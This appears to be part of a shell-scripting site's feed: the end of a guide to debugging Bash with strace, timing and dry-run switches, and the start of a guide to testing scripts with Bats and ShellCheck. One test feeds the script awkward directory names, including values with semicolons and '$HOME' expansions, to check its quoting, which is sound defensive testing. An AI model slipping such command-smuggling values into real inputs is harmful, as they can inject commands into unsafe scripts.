If the shell code looks right and a command still fails, the cause is often in how the programs interact with the system: a file that is not where it should be, a permission refusal, a library that cannot load, a network call that hangs. strace records the system calls a process makes, and with -f it follows the children, which for a shell script means every command it runs.
strace -f -e trace=execve,openat -o st.txt bash slow.sh\ngrep -E 'execve|nonexistent' st.txt | cut -c1-120\n147 execve(\"/usr/bin/bash\", [\"bash\", \"slow.sh\"], 0xffffd4ec3810 /* 8 vars */) = 0\n148 execve(\"/usr/bin/cat\", [\"cat\", \"/etc/hostname\"], 0xaaaaf46bf3e0 /* 8 vars */) = 0\n149 execve(\"/usr/bin/ls\", [\"ls\", \"/nonexistent\"], 0xaaaaf46c22b0 /* 8 vars */) = 0\n150 execve(\"/usr/bin/grep\", [\"grep\", \"-q\", \"root\", \"/etc/passwd\"], 0xaaaaf46c22b0 /* 8 vars */) = 0\nEach line begins with the process ID, so you can see which child ran which command, with the exact arguments after expansion and the exact path chosen from PATH. This is a definitive answer to \"which program ran and with what\", independent of anything the shell prints. Restrict the trace with -e trace= to the calls you care about or the output is overwhelming. The manual is strace(1). In containers, tracing requires the SYS_PTRACE capability and often a relaxed seccomp profile, as it did for these examples.
When a program reports a vague failure, a trace of file opens shows precisely which path it tried and what the kernel answered. An ENOENT means the path does not exist, EACCES means permission denied.
strace -f -e trace=openat bash -c 'cat /etc/missing.conf' 2>&1 | grep -E 'missing|ENOENT'\nopenat(AT_FDCWD, \"/etc/missing.conf\", O_RDONLY) = -1 ENOENT (No such file or directory)\ncat: /etc/missing.conf: No such file or directory\nThe same technique finds which configuration file a tool actually reads out of several candidates, which library it fails to load, and which socket it tried to connect to. For a program with a long list of attempts, filter on ENOENT\\|EACCES. The absence of an expected openat is informative too: if the program never tries to open your config file, the problem is how it is told where the file is, not what the file contains.
A script that hangs is waiting on something. Attach to the stuck process, or the one under it, and see which system call it sits in. First find the deepest child with pstree -p, then trace it. A process blocked in read on descriptor 0 is waiting for input; one in wait4 is waiting for a child; one in connect or recvfrom is waiting on the network; one in futex is waiting on a lock or thread.
pstree -p \"$(pgrep -f stuck.sh | head -1)\"\nsudo strace -p 4242 -f -tt\nls -l /proc/4242/fd\ncat /proc/4242/wchan; echo\n171 05:58:40.256267 wait4(-1, <unfinished ...>\n172 05:58:40.256522 execve(\"/usr/bin/sleep\", [\"sleep\", \"1\"], 0xaaab0df644b0 /* 8 vars */) = 0\n172 05:58:41.259335 +++ exited with 0 +++\n171 05:58:41.259389 <... wait4 resumed>[{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 172\nThe timestamps from -tt show the parent shell waiting a full second in wait4 while a child ran sleep 1, which is a complete account of where the time went. /proc/PID/fd lists what the process has open, which reveals a pipe whose other end nobody is reading, a classic deadlock. A hang at the very start of an unattended script is very often an interactive prompt, from sudo, ssh asking about a host key or apt asking to continue, waiting for input from a terminal that does not exist.
The summary mode counts system calls and the time in each, which locates cost without reading a trace. A script that is slow because it starts too many processes shows up as a large count of execve and clone.
strace -c -f -o summary.txt bash slow.sh\nhead -8 summary.txt\n% time seconds usecs/call calls errors syscall\n------ ----------- ----------- --------- --------- ----------------\n 58.45 0.004132 688 6 3 wait4\n 5.52 0.000390 9 43 mmap\n 4.51 0.000319 79 4 execve\n 4.05 0.000286 5 55 12 newfstatat\n 3.03 0.000214 71 3 clone\n 2.65 0.000187 7 24 mprotect\nThis three-line script ran four execve calls: bash itself and one for each of cat, ls and grep. Scaled up, a loop over ten thousand lines that calls grep or sed on each line would show forty thousand. The remedy is to replace the loop's subprocesses with shell builtins or to process all the input in a single awk, as discussed in the grep, sed and awk guide. The wait time is mostly the parent waiting for children, so look at the counts and the errors, not just the percentages.
Before optimizing, measure. The shell keyword time reports real, user and system time for a command or a block. To find which section of a script is slow, record timestamps at key points, using the builtin EPOCHREALTIME (Bash 5.0 and later) which avoids starting date.
time (for i in $(seq 1 2000); do /bin/true; done)\ntime (for i in $(seq 1 2000); do :; done)\nt0=$EPOCHREALTIME\n./step-one.sh\nt1=$EPOCHREALTIME\nprintf 'step one: %.3fs\\n' \"$(echo \"$t1 - $t0\" | bc -l)\"\nreal\t0m0.623s\nreal\t0m0.003s\nStarting /bin/true two thousand times cost 0.62 seconds in the container, while the same loop with the builtin : cost 3 milliseconds: roughly 300 microseconds per process, about two hundred times the cost of a builtin. That ratio explains most shell performance problems. When the numbers are noisy, repeat the measurement and take the minimum. Time the whole script from outside as well, with time ./script.sh, so you do not optimize something that is a tiny share of the total.
Make the script help you debug itself. A DEBUG or -v switch should turn on tracing and verbose logging without code changes. A --dry-run option should print the destructive commands instead of running them. Log with levels to standard error, so that standard output carries only results. And assert the assumptions that the script relies on, early, with clear messages.
: \"${DRY_RUN:=0}\" \"${DEBUG:=0}\"\n(( DEBUG )) && { PS4='+ ${BASH_SOURCE##*/}:${LINENO}: '; set -x; }\n\nrun() {\n if (( DRY_RUN )); then\n printf 'DRY: %q ' \"$@\"; printf '\\n'\n else\n \"$@\"\n fi\n}\nlog() { printf '%s [%s] %s\\n' \"$(date +%T)\" \"$1\" \"${*:2}\" >&2; }\nneed() { command -v \"$1\" >/dev/null || { log ERROR \"missing: $1\"; exit 127; }; }\n\nneed rsync\nrun rsync -a --delete -- \"$src/\" \"$dest/\"\n$ DRY_RUN=1 ./sync.sh\nDRY: rsync -a --delete -- /srv/site/ /backup/site/\nThe %q format prints each argument quoted so you can paste the line into a shell and get exactly what the script would have run. A dry run is also the safest way to test a change to a destructive script. Keep the debug code in the script permanently; it is cheap and it will be needed again.
A remote command runs with a non-interactive shell that reads no profile, so its environment differs from your login. To debug, run the same command with tracing on the remote side and capture both streams. A containerized script has another set of differences: a minimal image may lack the tool, use a different shell as sh, or run as a different user.
ssh host 'bash -x /opt/app/deploy.sh' 2>&1 | tee deploy-trace.txt\nssh host 'echo \"$PATH\"; command -v node; id'\ndocker run --rm -it --entrypoint sh myimage -c 'id; echo \"$PATH\"; command -v bash'\ndocker exec -it mycontainer sh\nOverriding the entrypoint with a shell is the quickest way into an image whose normal entrypoint fails at once. Check which shell the script's shebang resolves to in the image: a script that uses Bash features and starts with #!/bin/sh fails on Alpine, as the portable shell guide explains. For hosts you reach through a bastion or with unusual options, the SSH guide shows how to inspect the effective client configuration.
ltrace traces library calls, useful for programs that fail inside a shared library. lsof shows what files and sockets a process has open. /proc/PID/environ, /proc/PID/cmdline and /proc/PID/status expose a running process's environment, arguments and state, with NUL separators that tr '\\0' '\\n' turns readable. dmesg and journalctl -k show the kernel's view, including out-of-memory kills. bash --posix and dash test portability. inotifywait watches for file changes. script records an entire terminal session. And tee in a pipeline saves an intermediate result without disturbing the flow.
tr '\\0' ' ' < /proc/4242/cmdline; echo\ntr '\\0' '\\n' < /proc/4242/environ | sort | head\ndmesg | grep -i 'out of memory'\ncmd1 | tee /tmp/stage1.out | cmd2\nEach of these answers a specific question quickly, and none needs installation beyond a standard distribution. Learn two or three well and reach for them by habit, rather than adding echo statements and rerunning, which is slower and changes the program you are testing.
env -i and the same user as the failing run.$? after another command. Capture it on the line that follows the command.set -e. It skips conditions, lists and local assignments.echo. It hides whitespace and treats some data as options; use printf '[%s]\\n' or declare -p.sleep. A timing fix hides a race./dev/null while debugging removes the evidence.The common thread is replacing belief with observation. Every tool above exists to show what the shell and the kernel actually did, so that the next change addresses a fact.
\n\nShell error messages are terse, but each one narrows the cause sharply when you know its usual meaning. The wording below is from Bash 5.2; other shells phrase the same faults differently.
\n| Message | Usual cause |
|---|---|
command not found | Typo, missing package, or the directory is not in PATH for this launcher |
bad interpreter: No such file or directory | Windows line ending after the shebang, or an interpreter path that does not exist |
unbound variable | A variable used before it was set, under set -u; often a typo |
syntax error near unexpected token | A missing then, do, fi or ;, or an unquoted parenthesis in an argument |
ambiguous redirect | An unquoted variable in a redirection that is empty or contains spaces |
integer expression expected | A numeric test with -eq or -lt on an empty or non-numeric value |
too many arguments | An unquoted variable in [ ] expanded to several words |
unary operator expected | An unquoted empty variable in [ ] left only an operator |
Permission denied | No execute bit, a read-only mount, or a missing directory permission |
Text file busy | Running or writing a script that is being replaced while in use |
Broken pipe | A later stage closed the pipe early, as head does; usually harmless |
Two of these, integer expression expected and unary operator expected, almost always point at an unquoted or empty variable in a single-bracket test, and quoting plus a check that the value is set resolves them. The message also names the line where the shell noticed the problem, which for syntax errors can be well after the cause. When the line number looks wrong, read upward to the last opened block.
Some bugs leave no output at all, because the script did not run when expected. A nightly job that has been silently failing for a month is more common than a loud one. Suppose a report is scheduled at 02:00 and no reports have appeared. Work through the layers in order, ruling each out with evidence, not assumption.
\nsystemctl list-timers --all | grep report\njournalctl -u report.service --since '3 days ago' --no-pager | tail -20\ngrep -i report /var/log/syslog | tail\nls -l --time=ctime /srv/reports | tail -3\nsudo -u reports env -i HOME=/srv/reports PATH=/usr/bin:/bin /usr/local/bin/report.sh; echo \"rc=$?\"\nThe first command checks that the schedule exists and when it last fired. The second reads what the job printed, which is the first place a real error message appears. The third checks cron and the mail system if cron is used. The fourth looks at whether the output files are being produced at all. The last runs the job as the right user in a bare environment, the most informative single test, because it reproduces the commonest causes: a missing PATH entry, a permission problem or a relative path. Only when each layer has been cleared does it make sense to read the script line by line. The reasons these layers fail are laid out in the cron and systemd timers guide.
A bug that has been found once will return unless something checks for it. The moment you have a reproduction, turn it into an automated test, run it to confirm that it fails, apply the fix, and run it again to confirm that it passes. The test records the lesson in executable form. For the sample bug the test creates a file name with a space and asserts that the total is correct.
\n#!/usr/bin/env bats\n@test \"totals sizes of files whose names contain spaces\" {\n cd \"$BATS_TEST_TMPDIR\"\n printf 'abc' > \"a b.log\"\n printf 'de' > \"c.log\"\n run bash \"$BATS_TEST_DIRNAME/../total.sh\"\n [ \"$status\" -eq 0 ]\n [ \"$output\" = \"total: 5\" ]\n}\nBefore the fix this test fails, because the script prints a smaller total and complains on standard error; after quoting \"$f\" it passes. Keeping such tests turns each debugging session into a permanent improvement. The framework, with setup, mocking and CI, is covered in the testing guide.
A failure that happens one run in twenty is the hardest kind. The causes are few: a race between background jobs or between two copies of the script, a dependency that is slow or intermittently down, input that varies (a file arriving while the script reads it), or state left behind by an earlier run. The approach is to make the failure frequent enough to study, then record enough to tell the causes apart.
\nfor i in $(seq 1 200); do\n ./flaky.sh > \"run.$i.out\" 2>&1 || echo \"run $i failed (rc=$?)\"\ndone\nls run.*.out | wc -l\ngrep -L 'ok' run.*.out | head\nRun it a few hundred times in a loop, with the trace going to a per-run file, and compare a failing run's trace to a passing one with diff. Look at what differs first: timestamps, ordering of output from parallel jobs, an environment variable. If two copies might overlap, add a lock and see whether the failure vanishes, which also proves the diagnosis. If a dependency is the cause, log its response time and status on every call so that a slow or failing moment is on the record. Resist the temptation to add a sleep: it moves the race and does not remove it.
Many bugs come from reading a line the way a human does instead of the way the shell does. The shell processes a command line in a fixed sequence: it splits the input into tokens and applies quoting, expands braces, then tilde, parameters, command substitution and arithmetic, then splits the results into words, then expands globs, and only then runs the command with its redirections. A rule that follows from that order is that a redirection target is expanded last and a brace expansion happens before variables are read, so {1..$n} does not count to n. When a line does something you did not expect, walk through it in that order and write down the value after each step. Doing this on paper once teaches you to see the steps at a glance, and it explains the whole family of surprises around quoting, splitting and ordering without a tool. The Bash manual's description of shell expansions lists the order.
n=3\necho {1..$n}\neval echo {1..$n}\nseq 1 \"$n\" | paste -sd' '\nThe first command prints {1..3}: brace expansion ran before the variable was replaced, found no number to count to, and left the braces for the later step to leave alone; the second works only because eval forces a second round of expansion, which is why it is both a fix and a hazard; the third is the plain answer. The point is not this particular trick but the habit of asking in which phase a value becomes known.
Having an order for the first ten minutes saves more time than any single tool. Read the error message completely and note the line. Run shellcheck and bash -n. Reproduce with the smallest input and the failing environment. Turn on tracing with a useful PS4 and read the trace around the first sign of trouble, not the last. Print the real arguments of the failing command with the bracket helper. If the shell looks innocent, trace system calls with strace -f and look for ENOENT, EACCES and the call where a hung process sits. Fix the cause. Add a test. Remove any temporary debugging code, and keep the permanent switches. The routine is short on purpose, and following it every time is what turns debugging from a mood into a method.
Large programs. Past a few hundred lines of logic, a script is better debugged as a program in a language with a real debugger, breakpoints and unit tests. Rewriting is often cheaper than extending the tooling around shell; the Linux command line guide lists what the shell is good at, and the rest should move.
\nHeisenbugs in concurrency. Tracing changes timing, so a race in background jobs may disappear under set -x. Use logging to a file with timestamps and process IDs, and design for idempotence and locking instead of chasing the exact interleaving.
Production systems. strace slows its target, sometimes by an order of magnitude, and can alter timing. Attach to production processes briefly and with a narrow filter, or prefer lower-overhead tools such as perf and eBPF-based tracers.
Restricted environments. Containers without ptrace, hardened hosts and managed platforms may not allow strace at all. Fall back to logging, set -x to a file and reproducing the case somewhere you control.
Non-Bash shells. Features like BASH_XTRACEFD, caller, PIPESTATUS and the ERR trap are Bash-specific. dash has set -x and PS4 but little else, and zsh has its own equivalents.
Once a bug is fixed, keep it fixed with a test: the guide to testing shell scripts with Bats and ShellCheck turns each reproduction into a regression test. If the cause was unquoted input, the shell script security guide shows the wider class. For the underlying language, the Bash scripting tutorial covers the constructs that went wrong here.
\nPrimary sources used here: the Bash manual on the set builtin, the Bash manual on shell variables, the Bash manual on builtins including trap, the Bash builtins reference including caller, strace(1), proc(5), signal(7), execve(2), the ShellCheck SC2086 page and the ShellCheck SC2155 page.
","date_published":"2026-11-06T06:12:19+00:00","tags":["Debugging"]},{"id":"https://shellhacks.dev/library/test-shell-scripts-bats-shellcheck","url":"https://shellhacks.dev/library/test-shell-scripts-bats-shellcheck","title":"Testing Shell Scripts With Bats and ShellCheck in Practice","summary":"Test shell scripts with Bats and ShellCheck: write tests, mock commands, test functions, run in CI and containers, and catch quoting bugs before they ship.","content_html":"A shell script with no tests is a script that works until the day someone changes it. Shell makes the problem worse than most languages, because mistakes are silent: an unquoted variable, a pipeline that hides a failure, or an assumption about the current directory produces no error, only a wrong result. The tools that fix this are ordinary and cheap. ShellCheck finds a large class of bugs without running anything, and Bats lets you run the script against controlled input and assert on what it does. This guide builds both into a workflow, using a real backup script and a real test suite run on Debian 12 with Bats 1.8.2, ShellCheck 0.9.0 and Bash 5.2.15. Writing the scripts in the first place is covered in the Bash scripting tutorial.
\nThe guide covers what to test and at which level, ShellCheck in depth, a first Bats test, the run helper, temporary files and fixtures, testing exit codes and output, mocking external commands, testing functions, hostile inputs, setup and teardown, CI, containers and a matrix of shells, plus the habits that keep a suite useful instead of brittle.
Different tools catch different bugs, and the cheapest layer should run first. The first layer is static: the shell's own bash -n for syntax, shellcheck for quoting, portability and logic mistakes, and shfmt for formatting. These run in milliseconds, need no setup and find roughly the bugs that look obvious in review. The second layer is behavioral: tests that run the script and assert on its exit status, output and effects. These find the bugs that depend on what the script does with real files and arguments. The third layer is environmental: running the same tests across shells, distributions and the scheduler the script will run under, which finds the differences between your machine and the target.
Each layer has a blind spot. ShellCheck cannot know what the script is supposed to do, so it finds no bug in a script that does the wrong thing correctly. Tests cover only the cases someone wrote. Environmental runs cover only the environments chosen. Together they leave little room, and a team that does all three catches most regressions before a human reads the diff. Start with the first layer today, since it needs no investment, and add the others as the script becomes something that matters.
\n\nBoth are in the standard repositories. On Debian 12, apt install bats shellcheck provides Bats 1.8.2 and ShellCheck 0.9.0. Newer releases are available from the projects' own pages, and Bats can be vendored into a repository as a Git submodule so that every developer and the CI runner use the same version. Pinning matters: a ShellCheck upgrade adds new checks and can turn a green build red, which is good, as long as it happens on your schedule.
sudo apt install bats shellcheck\nbats --version\nshellcheck --version | sed -n 2p\ngit submodule add https://github.com/bats-core/bats-core.git test/bats\ntest/bats/bin/bats --version\nBats 1.8.2\nversion: 0.9.0\nThe project documentation is in the bats-core manual and the ShellCheck wiki. Both are short and worth reading once through. Keep a test/ directory beside the script and a make test or equivalent target, so that running the suite is one command that everyone knows.
All the examples use one script, a backup tool that archives a directory and keeps the newest few archives. It takes an optional -k KEEP, a source and a destination, validates its input and honors an environment variable BACKUP_STAMP that fixes the timestamp, which makes the output predictable in tests. That last feature shows the point of designing for testability, here by letting the clock be injected, is part of writing the script.
#!/usr/bin/env bash\nset -euo pipefail\nusage() { echo \"usage: backup.sh [-k KEEP] SOURCE DEST\" >&2; exit 2; }\nkeep=3\nwhile getopts \":k:\" o; do\n case $o in k) keep=$OPTARG ;; *) usage ;; esac\ndone\nshift $((OPTIND - 1))\n(( $# == 2 )) || usage\n[[ $keep =~ ^[0-9]+$ ]] || { echo \"KEEP must be a number\" >&2; exit 2; }\nsrc=$1 dest=$2\n[[ -d $src ]] || { echo \"not a directory: $src\" >&2; exit 1; }\nmkdir -p -- \"$dest\"\nname=\"$(basename -- \"$src\")-${BACKUP_STAMP:-$(date +%Y%m%d%H%M%S)}.tar.gz\"\ntar -czf \"$dest/$name\" -C \"$(dirname -- \"$src\")\" -- \"$(basename -- \"$src\")\"\necho \"wrote $dest/$name\"\nmapfile -t old < <(ls -1t -- \"$dest\"/*.tar.gz | tail -n +\"$((keep + 1))\")\nfor f in \"${old[@]}\"; do [[ -n $f ]] && rm -f -- \"$f\"; done\nIt saves as bin/backup.sh and is executable. The tests below exercise its exit codes, its validation, its handling of file names with spaces and its rotation. Notice it has several behaviors that are easy to break silently: the exit code 2 for usage errors versus 1 for runtime errors, the digit check on KEEP, and the number of archives left after a run.
Before writing a single test, run ShellCheck on the script. It is the quickest source of real findings, and fixing them first stops tests from encoding bugs as expected behavior.
\nshellcheck bin/backup.sh\nIn bin/backup.sh line 17:\nmapfile -t old < <(ls -1t -- \"$dest\"/*.tar.gz | tail -n +\"$((keep + 1))\")\n ^------------------------^ SC2012 (info): Use find instead of ls to better handle non-alphanumeric filenames.\n\nFor more information:\n https://www.shellcheck.net/wiki/SC2012 -- Use find instead of ls to better ...\nIt reports one finding at info level. The script uses ls -t deliberately, to sort by modification time, on file names the script itself created, so the warning is a judgment call: either accept it with a comment or switch to a form that does not parse ls. The exit status of ShellCheck is non-zero when it reports anything, including info notes, which matters for CI. Use -S warning to fail only on warnings and errors, and fix or explicitly disable the rest.
ShellCheck has four severities: error, warning, info and style. On a clean script you can fail on everything; on an old code base, failing on style notes buries the real findings. A sensible start is -S warning in CI, then fix info notes in a cleanup pass and tighten to -S info. Control it with a .shellcheckrc file at the repository root so that developers and CI agree.
# .shellcheckrc\nshell=bash\nexternal-sources=true\nenable=require-variable-braces,quote-safe-variables\ndisable=SC1091\nshellcheck -S warning -f gcc bin/*.sh\necho \"rc=$?\"\nshellcheck -x -f json bin/backup.sh | head -c 100\nThe gcc format prints one line per finding in the form that editors and CI annotation tools parse. -x (or external-sources=true) follows source statements to check the files they load. The enable= line turns on optional checks listed by shellcheck --list-optional. Keep the file small: every disable in it silences a check for the whole project, so prefer local suppression where the exception is real.
Sometimes a warning is wrong for a particular line, such as deliberate word splitting. Silence it with a directive comment on the line above, naming the code and giving the reason. A reason turns a suppression from a mystery into a decision that a later reader can reverse.
\n# shellcheck disable=SC2086 # opts is a trusted, space-separated list built above\ntar $opts -f \"$archive\" -- \"$dir\"\n\n# shellcheck source=lib/log.sh\nsource \"$script_dir/lib/log.sh\"\nThe source= directive tells ShellCheck where a dynamically named file is, so it can follow it without a warning about not being able to. Keep directives as narrow as possible: placed directly above a command, they apply to that command only; placed at the top of a file, they apply to the whole file. Review them like code, and when a suppression has no reason, ask for one. A count of directives in the repository is a rough measure of how much unreviewed risk the code carries.
A Bats file is a Bash script with a special syntax: each @test \"name\" { ... } block becomes a function, and the test passes if every command inside returns success. Bats runs each test in its own subprocess, so tests cannot affect each other through variables. Save this as test/backup.bats.
#!/usr/bin/env bats\n\nsetup() {\n SCRIPT=\"$BATS_TEST_DIRNAME/../bin/backup.sh\"\n SRC=\"$BATS_TEST_TMPDIR/data\"\n DEST=\"$BATS_TEST_TMPDIR/out\"\n mkdir -p \"$SRC\"\n echo \"hello\" > \"$SRC/file one.txt\"\n}\n\n@test \"prints usage and exits 2 with no arguments\" {\n run \"$SCRIPT\"\n [ \"$status\" -eq 2 ]\n [[ $output == *\"usage:\"* ]]\n}\nbats test/backup.bats\n1..1\nok 1 prints usage and exits 2 with no arguments\nThe output is in the Test Anything Protocol format: a plan line, then one line per test. The setup function runs before every test, so each starts from the same state. BATS_TEST_DIRNAME is the directory of the test file, which lets tests find the script no matter where they are launched from. BATS_TEST_TMPDIR is a fresh temporary directory per test, deleted afterwards. The usage test uses the run helper, explained next.
run executes a command and captures its exit status in $status, its combined standard output and standard error in $output, and the output split into lines in the array $lines. It then returns success regardless, so a failing command does not abort the test and you can assert on the failure. Without run, a command that exits non-zero fails the test immediately, which is what you want for setup steps and not for the thing under test.
@test \"fails when the source is not a directory\" {\n run \"$SCRIPT\" /nonexistent \"$DEST\"\n [ \"$status\" -eq 1 ]\n [[ $output == *\"not a directory\"* ]]\n}\n\n@test \"rejects a non numeric KEEP\" {\n run \"$SCRIPT\" -k many \"$SRC\" \"$DEST\"\n [ \"$status\" -eq 2 ]\n}\nok 2 fails when the source is not a directory\nok 3 rejects a non numeric KEEP\nBecause $output merges the two streams, a test cannot tell whether a message went to standard error. Bats 1.5 and later add run --separate-stderr, which fills $stderr separately, and a bats_require_minimum_version call documents the dependency. The Debian 12 package is 1.8.2, so that option is available. Assertions use plain Bash: [ ] for numbers and exact strings, [[ ]] for patterns. The pair [ \"$status\" -eq 0 ] is the usual first line after run; asserting the exit status first makes a failure show the useful part.
A test suite is only useful if its failures are readable. Bats prints the test name, the file and line, and the command that failed.
\n@test \"deliberate failure shows output\" {\n run bash -c 'echo got; exit 3'\n [ \"$status\" -eq 0 ]\n}\n1..1\nnot ok 1 deliberate failure shows output\n# (in test file test/fail.bats, line 3)\n# `[ \"$status\" -eq 0 ]' failed\nThe report names the assertion but not the value of $status, which is a weakness of bare [ ]. Print the context yourself when it helps, with echo \"status=$status output=$output\" >&3, since Bats shows anything written to file descriptor 3 in the report and hides the rest. Or use the bats-assert helper library, whose assert_equal and assert_output print expected and actual values side by side. The exit status of bats is non-zero when any test fails, which is what CI reads.
The bats-core project maintains helper libraries that make assertions expressive and failures informative. bats-support provides the plumbing, bats-assert provides assert_success, assert_failure, assert_output, assert_line and refute_output, and bats-file provides file assertions such as assert_file_exists. Add them as submodules and load them in setup.
setup() {\n load 'test_helper/bats-support/load'\n load 'test_helper/bats-assert/load'\n load 'test_helper/bats-file/load'\n}\n\n@test \"creates an archive\" {\n BACKUP_STAMP=20261105000001 run \"$SCRIPT\" \"$SRC\" \"$DEST\"\n assert_success\n assert_output --partial \"wrote\"\n assert_file_exists \"$DEST/data-20261105000001.tar.gz\"\n}\nWhen assert_output fails it prints the expected and the actual text, which saves the extra echo lines. Use --regexp for pattern matches and --partial for substrings. The libraries are optional: a suite of plain [ ] and [[ ]] works, has no dependencies, and is often enough for a script. Choose the libraries when failure messages are costing time.
The point of a test suite is to pin down the behaviors that matter and are easy to break. For this script, the commonest regression would be losing the quoting, so a file name with a space gets its own test.
\n@test \"creates an archive containing a file with a space in its name\" {\n BACKUP_STAMP=20261105000001 run \"$SCRIPT\" \"$SRC\" \"$DEST\"\n [ \"$status\" -eq 0 ]\n [ -f \"$DEST/data-20261105000001.tar.gz\" ]\n run tar -tzf \"$DEST/data-20261105000001.tar.gz\"\n [[ $output == *\"data/file one.txt\"* ]]\n}\nok 4 creates an archive containing a file with a space in its name\nThe environment variable BACKUP_STAMP makes the archive name predictable. Setting a variable on the same line as run applies it to that command only. The second run reads the archive's table of contents, so the test checks the effect and not only that a file appeared. A test named after the property it protects, \"containing a file with a space in its name\", doubles as documentation, and when it fails the name tells the reader what broke.
The rotation logic depends on file modification times, which tests must control. The simplest honest approach is to create the files with distinct times, either by waiting or by setting the time directly with touch -d. Waiting makes tests slow, so prefer to set the time.
@test \"keeps only the newest KEEP archives\" {\n for n in 1 2 3 4; do\n BACKUP_STAMP=2026110500000$n \"$SCRIPT\" -k 2 \"$SRC\" \"$DEST\" >/dev/null\n sleep 1.1\n done\n run bash -c \"ls '$DEST' | wc -l\"\n [ \"$output\" -eq 2 ]\n}\nok 5 keeps only the newest KEEP archives\nThis version sleeps a little over a second between runs, because the archives are sorted by modification time and the filesystem granularity can be coarse; it passed here but takes four seconds and could be flaky on a slow disk. A faster test creates the old archives by hand, with touch -d '2 days ago' and touch -d '1 day ago', then runs the script once and checks that only the right ones remain. Where a script reads the clock, inject it, as with BACKUP_STAMP, or put a fake date first on the PATH, as in the next section. Tests that use real sleeps are a sign that the script needs a seam.
A script that calls curl, ssh, docker or systemctl cannot be tested safely against the real thing. Replace the command with a fake. Because the shell finds commands through PATH, a directory of fake executables placed first on PATH intercepts the call with no change to the script.
@test \"mock via PATH\" {\n mkdir -p \"$BATS_TEST_TMPDIR/bin\"\n printf '#!/bin/sh\\necho \"fake date\"\\n' > \"$BATS_TEST_TMPDIR/bin/date\"\n chmod +x \"$BATS_TEST_TMPDIR/bin/date\"\n PATH=\"$BATS_TEST_TMPDIR/bin:$PATH\" run date\n [ \"$output\" = \"fake date\" ]\n}\nok 3 mock via PATH\nA more useful fake records how it was called, so the test can assert on the arguments, and can be told what to print or what status to return.
\nmake_mock() { # make_mock NAME [EXIT_CODE] [OUTPUT]\n local dir=\"$BATS_TEST_TMPDIR/bin\"; mkdir -p \"$dir\"\n cat > \"$dir/$1\" <<EOF\n#!/bin/sh\nprintf '%s\\n' \"\\$*\" >> \"$BATS_TEST_TMPDIR/$1.calls\"\nprintf '%s' \"${3:-}\"\nexit ${2:-0}\nEOF\n chmod +x \"$dir/$1\"\n PATH=\"$dir:$PATH\"\n}\n\n@test \"notifies when the backup fails\" {\n make_mock curl 0\n run \"$SCRIPT\" /nonexistent \"$DEST\"\n [ \"$status\" -eq 1 ]\n grep -q 'hooks.example.org' \"$BATS_TEST_TMPDIR/curl.calls\"\n}\nEach call appends its arguments to a file, which the test inspects afterwards, and the fake exits with the code you choose to simulate failures: a mock that exits 1 tests the script's error handling without needing a network that fails on demand. The PATH assignment in the helper runs in the test's shell, so it applies to every later command in that test. Keep the mocks tiny and put them in a shared helper file loaded by each test file. The bats-mock library packages the same idea if you prefer a ready-made one.
Builtins and shell functions are not found through PATH, so the PATH trick cannot replace them. Inside a test that sources the script's functions, define a function of the same name; a function takes precedence over a command, so a test can override curl or date without creating files.
@test \"retry gives up after N attempts\" {\n source \"$BATS_TEST_DIRNAME/../lib/retry.sh\"\n calls=0\n flaky() { calls=$((calls + 1)); return 1; }\n sleep() { :; }\n run retry 3 flaky\n [ \"$status\" -eq 1 ]\n}\nNote a trap here: run executes its command in a subshell, so the counter calls is not updated in the test's own shell and cannot be asserted afterwards. Either write the count to a file inside the fake, or call the function without run and capture its status with || status=$?. Redefining sleep as a no-op also keeps tests of retry logic fast. The cleaner design is to give the function its delay as a parameter, so the test passes zero.
A script that runs its work at the top level cannot be loaded without executing. The standard fix is to put the logic in functions and guard the entry point, so sourcing the file defines the functions and running it calls main.
add() { echo $(( $1 + $2 )); }\nmain() { add \"$@\"; }\nif [[ ${BASH_SOURCE[0]} == \"$0\" ]]; then main \"$@\"; fi\nbash lib.sh 2 3\nbash -c 'source ./lib.sh; add 4 5'\n5\n9\nWhen the file is executed, BASH_SOURCE[0] equals $0 and main runs. When it is sourced, they differ and nothing runs. A test can then source the file and call add directly, which is far faster than starting the whole script and makes small units easy to cover. This structure is also better design: logic in functions, one main, a single place where the script touches the outside world. Keep set -euo pipefail inside main or the guard, or the sourcing test inherits strict mode and fails in confusing places.
The inputs that break shell scripts are predictable, so test them on purpose. A short list of awkward values catches most quoting and validation bugs: a name with a space, a name with a leading dash, an empty string, a name with a newline, a path that does not exist, and a path that is a symlink. For a security-sensitive script, add a value containing a semicolon, a dollar sign and a backtick.
\n@test \"handles awkward directory names\" {\n for name in \"with space\" \"-leading-dash\" \"semi;colon\" 'dollar$HOME' \"new\nline\"; do\n dir=\"$BATS_TEST_TMPDIR/src/$name\"\n mkdir -p \"$dir\"\n echo x > \"$dir/f\"\n run \"$SCRIPT\" \"$dir\" \"$BATS_TEST_TMPDIR/out\"\n [ \"$status\" -eq 0 ] || { echo \"failed for: $name\" >&3; false; }\n done\n}\n\n@test \"empty arguments are a usage error, not a crash\" {\n run \"$SCRIPT\" \"\" \"\"\n [ \"$status\" -eq 1 ]\n}\nLooping inside one test keeps the file short, and the message to file descriptor 3 names the value that failed. For a larger table of cases, generate tests in a loop with a function that registers one test per row. The hostile inputs mirror the attacks described in the shell script security guide, and each one you write is a regression test for a class of bug and not a single instance.
\n\nsetup and teardown run before and after every test. setup_file and teardown_file run once per file, and setup_suite once per run, for expensive shared state such as building a container or starting a local server. Variables exported in setup_file are visible to the tests. BATS_FILE_TMPDIR is a directory shared by all tests in the file, and BATS_TEST_TMPDIR is private to one.
setup_file() {\n export SHARED=\"$BATS_FILE_TMPDIR/shared\"\n echo init > \"$SHARED\"\n}\nteardown() {\n echo \"td\" >> \"$BATS_FILE_TMPDIR/log\"\n}\n\n@test \"uses shared\" { [ \"$(cat \"$SHARED\")\" = init ]; }\n@test \"skipped one\" { skip \"needs docker\"; false; }\n1..3\nok 1 uses shared\nok 2 skipped one # skip needs docker\nok 3 mock via PATH\nThe temporary directories are removed automatically, so tests do not leave files behind, which also means a failing test's files are gone by the time you look; run with --no-tempdir-cleanup to keep them for debugging. Use skip \"reason\" for tests that cannot run in the current environment, such as one needing root or Docker, so the report states why instead of failing. Never write to the working directory or the repository from a test; always use the temporary directories, or tests will interfere with each other and with your checkout.
A script's error handling is code, and untested error handling is usually wrong. Force each failure and assert on what the script does: it exits with the documented code, prints a useful message, leaves no temporary files and does not touch the destination. Simulating failures needs the seams from earlier. A mock that exits non-zero stands in for a dead network. A read-only directory stands in for a full disk. A missing executable, created by an empty PATH, tests the dependency check.
